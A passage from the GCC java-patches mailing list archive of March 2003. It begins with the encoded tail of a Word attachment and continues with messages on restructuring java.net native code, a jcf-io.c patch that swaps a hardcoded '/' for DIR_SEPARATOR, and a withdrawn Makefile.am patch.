AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAD+/wAABAACAAAAAAAAAAAAAAAAAAAAAAACAAAAAtXN1ZwuGxCTlwgA Kyz5rkQAAAAF1c3VnC4bEJOXCAArLPmuQAEAAPwAAAAMAAAAAQAAAGgAAAAPAAAAcAAAAAUA AACMAAAABgAAAJQAAAARAAAAnAAAABcAAACkAAAACwAAAKwAAAAQAAAAtAAAABMAAAC8AAAA FgAAAMQAAAANAAAAzAAAAAwAAADeAAAAAgAAAOQEAAAeAAAAEQAAAEF0b3RlY2ggVVNBIElu Yy4AAEQAAwAAABgAAAADAAAABQAAAAMAAADpDQAAAwAAADEVCAALAAAAAAAAAAsAAAAAAAAA CwAAAAAAAAALAAAAAAAAAB4QAAABAAAABgAAAFNoZWV0AAwQAAACAAAAHgAAAAYAAABUaXRs ZQADAAAAAQAAAJgAAAADAAAAAAAAACAAAAABAAAANgAAAAIAAAA+AAAAAQAAAAIAAAAKAAAA X1BJRF9HVUlEAAIAAADkBAAAQQAAAE4AAAB7ADIAMwBBAEUANwBBAEMANAAtAEYANgAwAEQA LQAxADEARAAxAC0AQgA5ADkARAAtADAAMAAwADYAMgA5AEEAQQA3AEEARAA0AH0AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAJAAAACgAAAAsAAAAMAAAA DQAAAA4AAAAPAAAAEAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAAP7///8YAAAAGQAAABoA AAAbAAAAHAAAAB0AAAAeAAAA/v///yAAAAAhAAAAIgAAACMAAAAkAAAAJQAAACYAAAD+//// KAAAACkAAAAqAAAAKwAAACwAAAAtAAAALgAAAP7////9////MQAAAP7////+/////v////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////9SAG8AbwB0ACAARQBuAHQAcgB5AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFgAFAf////////// AwAAAAYJAgAAAAAAwAAAAAAAAEYAAAAAQB1lte9VvgFgIFT/agC/ATMAAACAAAAAAAAAADEA VABhAGIAbABlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAOAAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAFwAAAAAQAAAAAAAAVwBvAHIAZABEAG8AYwB1AG0AZQBuAHQAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABoAAgEFAAAA//////////8AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkiwAAAAAAAAFAFMAdQBtAG0AYQByAHkA SQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAACAQIA AAAEAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8AAAAAEAAA AAAAAAUARABvAGMAdQBtAGUAbgB0AFMAdQBtAG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkA bwBuAAAAAAAAAAAAAAA4AAIB////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAJwAAAAAQAAAAAAAAAQBDAG8AbQBwAE8AYgBqAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAgEBAAAABgAAAP////8AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAagAAAAAAAABPAGIAagBlAGMA dABQAG8AbwBsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA FgABAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAYCBU/2oAvwFgIFT/agC/AQAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AABXSU5ET1dTAAAWADCBAAAA AAAAAAAAAFJlY2VudAAAAAAAAAAAAAAAAAAAAAAAAQAAAP7///////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //8BAP7/AwoAAP////8GCQIAAAAAAMAAAAAAAABGGAAAAE1pY3Jvc29mdCBXb3JkIERvY3Vt ZW50AAoAAABNU1dvcmREb2MAEAAAAFdvcmQuRG9jdW1lbnQuOAD0ObJxAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD== --S9KP419au0cgI2828wk9aCoNxAH1R7321h3y-- From java-patches-return-6478-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 16 03:28:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7450 invoked by alias); 16 Mar 2003 03:28:15 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7383 invoked from network); 16 Mar 2003 03:28:15 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 16 Mar 2003 03:28:15 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2G3SDD26375 for ; Sat, 15 Mar 2003 21:28:13 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Sat, 15 Mar 2003 21:28:15 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <200303140941.41422.konqueror@gmx.de> Message-Id: <2ZATOMLXRTPD08553C765OMLKJHB9ZY.3e73ef4f@p733> Subject: Re: RFC: Moving native code in java.net into architecture dependant files MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Michael, >Here is a patch which moves the native code of java.net into >architecture dependant files for better/easier maintaining, as >requested by several people. To my untrained eyes, this looks nice. I'm especially eager to have this in place so we can sort out things like the strerror() stuff being broken in Win32. Ranjit, do you agree with me that even if the Win32 code isn't perfect, we can sort things out once the split has been made? I have a couple of comments. Please let me know if I've misunderstood something or gotten the facts wrong: - Is it a done deal that all eCos variants will never have any net code in them? If not, the naming conventions seem to establish the equivalence between the eCos platform and java.net functionality being disabled. Is this confusing from a naming standpoint? What if instead of natInetAddressEcos.cc (for example), you had natInetAddressNoNet.cc and made another variable called NET_PLATFORM which factored in not only PLATFORM, but also whether enable_java_net was "no"? >Question: Is it useful to point to "ecos" for the native java.net code >when DISABLE_JAVA_NET is defined ? This would make the code in the >"posix" target a little bit clearer. Any ideas for this ? - This would clean up the Win32 target too. If you did what I previously mentioned, you could safely eliminate the duplicate code within the #ifdef DISABLE_JAVA_NET...#endif sections of the Posix and Win32 files because AC_LINK_FILES(java/net/natInetAddress${NET_PLATFORM}.cc, java/lang/natInetAddress.cc) would have NET_PLATFORM=NoNet when say PLATFORM=Win32 and enable_java_net was "no". Does this make any sense or have I not understood things correctly? -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6479-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 16 06:01:59 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3681 invoked by alias); 16 Mar 2003 06:01:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3532 invoked from network); 16 Mar 2003 06:01:54 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 16 Mar 2003 06:01:54 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2G61s310677 for ; Sun, 16 Mar 2003 00:01:54 -0600 From: Mohan Embar To: GCJ Patches Date: Sun, 16 Mar 2003 00:01:52 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com Message-Id: <63655197SNUSGEUM04XTUPWSL1PM.3e741350@p733> Subject: Patch: Change hardcoded '/' to DIR_SEPARATOR in jcf-io.c MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi Patch People, This patch is needed to produce correct behavior when scandir()/alphasort() are present on Win32 platforms. It also seems to make more sense for all platforms because it eliminates a hardcoded directory separator. This has nothing to do with the Win32 case sensitivity patch I will resubmit soon. Tested on i686-pc-mingw32 and i686-pc-linux-gnu. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog 2003-03-15 Mohan Embar * jcf-io.c (find_class): use DIR_SEPARATOR instead of '/' when computing java source filename Index: jcf-io.c =================================================================== RCS file: /cvsroot/gcc/gcc/gcc/java/jcf-io.c,v retrieving revision 1.36.2.2 diff -u -2 -r1.36.2.2 jcf-io.c --- jcf-io.c 10 Mar 2003 19:32:23 -0000 1.36.2.2 +++ jcf-io.c 16 Mar 2003 05:44:47 -0000 @@ -524,5 +524,5 @@ l = strlen (java_buffer); for (m = 0; m < classname_length; ++m) - java_buffer[m + l] = (classname[m] == '.' ? '/' : classname[m]); + java_buffer[m + l] = (classname[m] == '.' ? DIR_SEPARATOR : classname[m]); strcpy (java_buffer + m + l, ".java"); java = caching_stat (java_buffer, &java_buf); From java-patches-return-6480-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 16 06:06:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18190 invoked by alias); 16 Mar 2003 06:06:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18174 invoked from network); 16 Mar 2003 06:06:33 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 16 Mar 2003 06:06:33 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2G66X311177 for ; Sun, 16 Mar 2003 00:06:33 -0600 From: Mohan Embar To: GCJ Patches Date: Sun, 16 Mar 2003 00:06:33 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <87smtsvwc9.fsf@fleche.redhat.com> Message-Id: Subject: Re: Patch: Reorder a source file in Makefile.am (libjava) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Hi Tom, >What happens? > >Mysterious changes like this are hard to maintain, since we don't know >what future changes might cause a similar problem. I don't mind >applying a hack in some circumstances, but in we have to at least know >and understand the problem. You're right about this and therefore, I'm withdrawing this patch. It happened again for another file in my build and it would be ridiculous for me to keep on submitting patches for this instead of trying to track down the problem in MSYS. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6481-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 16 08:13:18 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26440 invoked by alias); 16 Mar 2003 08:13:18 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26365 invoked from network); 16 Mar 2003 08:13:17 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by sources.redhat.com with SMTP; 16 Mar 2003 08:13:17 -0000 Received: from pop.agri.ch (217.162.33.222) by mail02.agrinet.ch (7.0.008) (authenticated as toa@pop.agri.ch) id 3E5C8D50000AE8F7; Sun, 16 Mar 2003 09:13:16 +0100 Message-ID: <3E74321D.9020306@pop.agri.ch> Date: Sun, 16 Mar 2003 09:13:17 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.3) Gecko/20030312 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Java Patch List , Tom Tromey Subject: patch ping jni for darwin Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 